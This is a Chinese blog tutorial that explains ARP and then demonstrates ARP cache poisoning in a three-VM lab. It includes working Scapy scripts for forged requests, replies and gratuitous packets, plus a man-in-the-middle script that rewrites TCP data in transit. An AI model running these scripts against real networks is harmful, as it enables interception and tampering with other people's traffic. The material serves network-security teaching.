一、ARP基础知识

1. ARP简介

ARP即地址解析协议(Address Resolution Protocol)的简称,该协议是TCP/IP协议簇里面的一个协议。ARP的主要作用是根据IP地址来获取对应的MAC地址。

在开放式系统互联(Open System Interconnection,简称OSI)模型当中,所有网络通信的工作被分为了7层:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。当网络在进行通信时,OSI模型当中的每一层都只是负责该层各自的工作,然后将处理完的数据传送给下一层。

目前网络通信中最常见的IPv4协议工作在OSI模型的第三层,即网络层。在发送数据时,来自传输层的数据段(Segment)到达网络层之后,网络层需要将该数据段重新封装为数据包(Packet),并且根据数据包内的IPv4地址,结合网络层自身的路由表,来为数据包选择最佳的传输路径。当网络层的数据包到达数据链路层之后,需要重新将数据包封装为数据帧(Frame),然后再交由物理层进行字节传输。

如下图所示为OSI模型图。
OSI模型图

然而,这里出现了一个问题:物理层无法越过数据链路层去获取目的主机的IP地址,因此它不知道数据该发送给谁。因此,在数据链路层中,ARP协议的作用就显得尤为重要。ARP协议根据来自网络层的数据包中包含的IPv4地址,查询出对应目的主机的MAC地址,然后将该MAC地址封装在数据帧当中再传送给物理层传输。这样一来,物理层就知道数据该发往哪里了。

如下图所示为ARP报文格式。
ARP报文格式
如下图所示为ARP报文封装在以太网帧内形成的ARP帧格式。
ARP帧格式

2. ARP映射方式

为了ARP协议更高效地查询到IP地址与MAC地址的对应关系,设备上会存在一个ARP缓存表,里面存储着若干条IP地址与MAC地址的映射记录。根据缓存表的某些特性,ARP映射方式主要分为以下两种:
静态ARP缓存表
主要分为长静态ARP缓存表和短静态ARP缓存表两种。这种方式通常需要手动创建一张ARP缓存表存储于设备上。
优点:
ARP缓存表内的映射记录不会被改变、安全性得以保障。
缺点:
需要手工创建缓存表,当设备数量较多时工作量大;
设备更换网络适配器之后,MAC地址会改变;
设备可能会因不同的环境出现不同的MAC地址。

动态ARP缓存表
已知目的主机的IP地址,使用ARP协议生成相应的报文对目的主机的MAC地址进行查询,同时动态地对本地ARP缓存表进行维护更新。
优点:
无需手工创建缓存表,工作量大大减少;
当设备的MAC地址发生改变时,能够自动地对本地ARP缓存表进行更新;
ARP缓存表内的映射记录可以被老化、覆盖、更新、删除、添加等。
缺点:
ARP缓存表内的映射记录可能会被人为修改,存在安全隐患。

3. ARP工作方式

动态缓存下ARP的主要工作方式
第1步:主机A根据本地路由表内容,确定访问主机B的IP地址,同时在本地ARP缓存表中检查主机B的对应MAC地址。
第2步:如果主机A在ARP缓存表中没有找到映射,它将ARP请求消息广播到本地网络上的所有主机。主机A的源IP地址和源MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查请求的IP地址是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。(ARP请求)
第3步:主机B确定ARP请求的IP地址与自己的IP地址匹配,将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送给主机A。(ARP响应)
第5步:主机A收到从主机B发来的ARP回复消息,用主机B的IP和MAC地址映射更新本地ARP缓存表,二者可以开始正常通信。
值得注意的是,本地ARP缓存表内的映射记录是存在一定生存期的,当生存期结束后,主机将再次重复上面的过程。

免费ARP报文
免费ARP报文是一种很特殊的ARP报文,如下图所示为免费ARP报文格式。
免费ARP报文格式
由于该报文的特殊性,它可以用来完成以下各项工作:
第1种:检查网络中IP地址是否冲突。
主机A发送免费ARP报文,假设其它主机收到来自主机A的免费ARP报文后发现自己的IP地址和报文中的IP地址冲突,则会产生相应的ARP应答给主机A,主机A得知本机的IP地址与其它主机的IP地址与冲突。
第2种:更新网络中主机的ARP缓存表。
当主机A改变了MAC地址,它通过发送免费ARP报文通知网络中的其它主机更新ARP缓存表中主机A对应的映射记录。

免费ARP报文学习
网络中的设备根据收到的免费ARP报文中携带的信息对自身的ARP缓存表进行更新修改。
收到免费ARP报文后,设备会先判断ARP缓存表中是否存在与此免费ARP报文源IP地址对应的ARP缓存表映射记录:
存在:根据免费ARP报文中携带的信息更新对应的ARP缓存表映射记录;
不存在:根据免费ARP报文中携带的信息新建ARP缓存表映射记录。
若关闭免费ARP报文学习功能,设备不会新建原先不存在的ARP缓存表映射记录,但会更新已存在的对应ARP缓存表映射记录。

定时发送免费ARP报文
通过定时发送免费ARP报文,设备能够通知网络中的其它设备及时更新本地ARP缓存表中的映射记录,在很大程度上确保了网络安全性安全性。与此同时,能够防止设备中的ARP缓存表映射记录老化、防止例如仿冒网关的ARP攻击等。

二、ARP缓存中毒攻击

1. 攻击原理

ARP缓存中毒攻击(ARP Cache Poisoning Attack)主要利用了ARP没有任何安全措施的弱点。ARP缓存表内的映射记录依赖于计算机中的高速缓冲存储器动态更新,然而高速缓冲存储器的更新是受到更新周期的限制的,通常只保存最近使用的映射记录。
攻击者正是利用这一弱点,在高速缓冲存储器更新缓存表中的映射记录之前,通过欺骗受害者接受伪造的IP地址到MAC地址的映射,导致受害者的数据包可能会被重定向到具有伪造MAC地址的计算机之上,进而完成攻击行为。

2. 攻击演示

Scapy工具简介
Scapy是一个Python库程序。其最主要的功能在于能够让用户侦听、解析、伪装和发送各种网络报文。基于这些功能,该程序能够轻松地做到网络扫描、网络发现、路由追踪、数据包嗅探和网络攻击等各项任务。
使用方式:在构造数据包之前首先导入Scapy模块:
from scapy.all import *
我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:
ARP类构成

准备工作
实验环境为3台SEED Ubuntu 16.04 LTS,分别扮演Attacker、Alice、Bob的角色,确保三台主机之间能够互相进行数据通信。
记录3台主机的IP地址和MAC地址信息:
Attacker:
Attacker 地址信息
Alice:
Alice 地址信息
Bob:
Bob 地址信息

记录3台主机的初始本地ARP缓存表信息:
Attacker:
Attacker ARP缓存表信息
Alice:
Alice ARP缓存表信息
Bob:
Bob ARP缓存表信息


ARP缓存中毒攻击

结合ARP协议的工作方式,我们主要通过三个数据包伪造脚本来实现三种方式的ARP缓存中毒攻击:ARP请求数据包、ARP请求数据包、免费ARP数据包。

中毒攻击一(ARP请求数据包)

通过Attacker向Bob发送伪造ARP请求数据包,使Bob的本地ARP缓存表中添加一条记录:将Alice的IP地址映射到Attacker的MAC地址。
使用的攻击脚本:arp_request.py

#!/usr/bin/python3
from scapy.all import *

VM_B_IP   = "10.0.2.7"

VICTIM_IP = "10.0.2.6"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.pdst  = VM_B_IP

frame = E/A
sendp(frame)

Attacker发起攻击:
发起攻击
攻击效果:Bob的ARP缓存表中出现了Alice的IP地址并且映射到了Attacker的MAC地址。同时也添加了Attacker的映射记录。
攻击效果

中毒攻击二(ARP响应数据包)

通过Attacker向Alice发送伪造ARP响应数据包,使Alice的本地ARP缓存表中更新一条记录:将Bob的IP地址映射到Attacker的MAC地址。
使用的攻击脚本:arp_response.py

#!/usr/bin/python3
from scapy.all import *

VM_A_MAC  = "08:00:27:5b:33:ad"

VICTIM_IP = "10.0.2.7"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: response...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 2
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.hwdst = VM_A_MAC

frame = E/A
sendp(frame)

值得注意的是,此时Alice的ARP缓存表仍处于初始状态,其中并不包含Bob的IP地址对应的映射记录,而且由于ARP响应报文只能更新不能添加记录,因此ARP响应数据包并不会在Alice的ARP缓存表中添加Bob对应的记录。
我们需要Alice先ping通 Bob:
PING
这样Alice的ARP缓存表中就包含Bob的IP地址对应的映射记录:
映射记录
接着,Attacker发起攻击:
发起攻击
攻击效果:Alice的ARP缓存表中Bob的IP地址映射到了Attacker的MAC地址。
攻击效果

中毒攻击三(免费ARP数据包)

通过Attacker向网络中其它主机发送伪造免费ARP数据包,使Alice和Bob的本地ARP缓存表中更新一条记录:将Attacker的IP地址映射的MAC地址更新为:aa:bb:cc:dd:ee:ff。
使用的攻击脚本:arp_gratuitous.py

#!/usr/bin/python3
from scapy.all import *

VM_A_IP   = "10.0.2.5"
VM_A_MAC  = "ff:ff:ff:ff:ff:ff"

VICTIM_IP = "10.0.2.5"
FAKE_MAC  = "aa:bb:cc:dd:ee:ff"

print("ARP Cache Poisoning Attacking...method: gratuitous...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.hwdst = VM_A_MAC
A.pdst  = VM_A_IP

frame = E/A
sendp(frame)

Attacker发起攻击:
发起攻击
攻击效果:Bob的ARP缓存表中Attacker的IP地址映射的MAC地址变成了aa:bb:cc:dd:ee:ff:
攻击效果
但是Alice的ARP缓存表中不存在关于Attacker的IP地址的映射记录。
不存在记录
出现上述现象的原因是,此时Alice的ARP缓存表中并不包含Attacker的IP地址对应的映射记录,而且由于免费ARP报文只能更新不能添加记录,因此免费ARP数据包并不会在Alice的ARP缓存表中添加Attacker对应的记录。
为此,我们让Alice先ping通 Attacker:
PING
这样Alice的ARP缓存表中就包含Attacker的IP地址对应的映射记录了(同样的效果也可以直接通过Attacker向Alice发送伪造ARP请求数据包来实现,具体攻击中这一方式更为合理):
映射记录
接着Attacker发起攻击:
攻击效果:Alice和Bob的ARP缓存表中Attacker的IP地址映射的MAC地址都变成了aa:bb:cc:dd:ee:ff。
攻击效果
攻击效果


ARP缓存中毒中间人攻击(基于Netcat)

通过Attacker向Alice和Bob发送伪造ARP请求数据包,将Alice和Bob本地ARP缓存表中两人互相对应的记录所映射的MAC地址都更改为Attacker的MAC地址,从而达到Attacker作为中间人拦截并修改、转发Alice和Bob之间通信数据的目的。

攻击原理如图所示:
攻击原理
首先,Attacker向Alice和Bob发送伪造ARP请求数据包。
使用的攻击脚本:arp_poisoning.py

#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

VICTIM_A_IP = "10.0.2.7"
VICTIM_B_IP = "10.0.2.6"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...host: A...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_A_IP
A.pdst  = VM_A_IP

frame = E/A
sendp(frame)

print("ARP Cache Poisoning Attacking...host: B...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_B_IP
A.pdst  = VM_B_IP

frame = E/A
sendp(frame)

Attacker发起攻击:
发起攻击

攻击效果:Alice和Bob本地ARP缓存表中两人互相对应的记录所映射的MAC地址都更改为Attacker的MAC地址。
攻击效果
攻击效果

我们打开Attacker的端口转发功能:
打开端口转发

然后让Alice和Bob进行Netcat通信,我们发现此时Alice和Bob可以经过Attacker正常通信:
正常通信
正常通信

接着,我们关闭Attacker的端口转发功能:
关闭端口转发

然后让Alice和Bob进行Netcat通信,我们发现此时Alice无法连接到Bob,Bob也无法接收到Alice发出的消息:
无法连接
无法连接

接下来,我们在Attacker上拦截、修改并重新发送Alice向Bob发送的数据,对于特定字符串“luoyongjiang”,我们将其修改为“AAAAAAAAAAAA”,对于其它字符串我们给予放行。同时对于Bob向Alice发送的数据,我们不作任何修改给予放行。
使用的攻击脚本:arp_poisoning_mitm.py

#!/usr/bin/python
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")

        data = pkt[TCP].payload.load
        print("Original Packet.........")
        print("Source IP: ", pkt[IP].src)
        print("Destination IP: ", pkt[IP].dst)
        print("Message: ", data)
        print("Message Length: %d" % (len(data)))

        newpkt = IP(pkt[IP])
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        newdata = data.replace(b'luoyongjiang', b'AAAAAAAAAAAA')
        newpkt = newpkt/newdata

        print("Spoofed Packet.........")
        print("Source IP : ", newpkt[IP].src)
        print("Destination IP :", newpkt[IP].dst)
        print("Message: ", newdata)
        print("Message Length: %d" % (len(newdata)))

        send(newpkt)

    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        print("The message is sent from host B to host A...")
        newpkt = pkt[IP]
        send(newpkt)

pkt = sniff(filter='tcp', prn=spoof_pkt)

攻击效果:“luoyongjiang”成功修改为“AAAAAAAAAAAA”,其它字符串不变。
攻击效果
攻击效果

同时,Attacker端也显示了相应的拦截信息:
拦截信息
拦截信息

值得注意的是,由于ARP的周期性,缓存表内的映射记录会在一定时间之后被ARP自动更新。因此在攻击的过程当中,我们可能需要不定时地重复使用Attacker向Alice和Bob发起ARP缓冲中毒攻击。




• 本文中所提及的所有工具、资料、信息等各类内容,仅供学习参考,严禁用于非法用途。
• 请严格遵守相关法律法规,因不正当使用造成的后果由使用者自行承担,本站概不负责。


• 本站原创内容版权归作者所有,转载内容版权及解释权归原作者所有。
• 本站内容如需商业转载请联系作者获得授权,非商业转载请注明出处。
• 最终解释权归本站所有。

• 本文作者:Coonaa(转载文章除外)
• 本文链接:https://coonaa.cn/index.php/archives/38/

最后修改:2021 年 08 月 23 日 03 : 53 PM
如果你觉得我的文章有用,给我赏口饭叭 ~༼ つ ◕_◕ ༽つ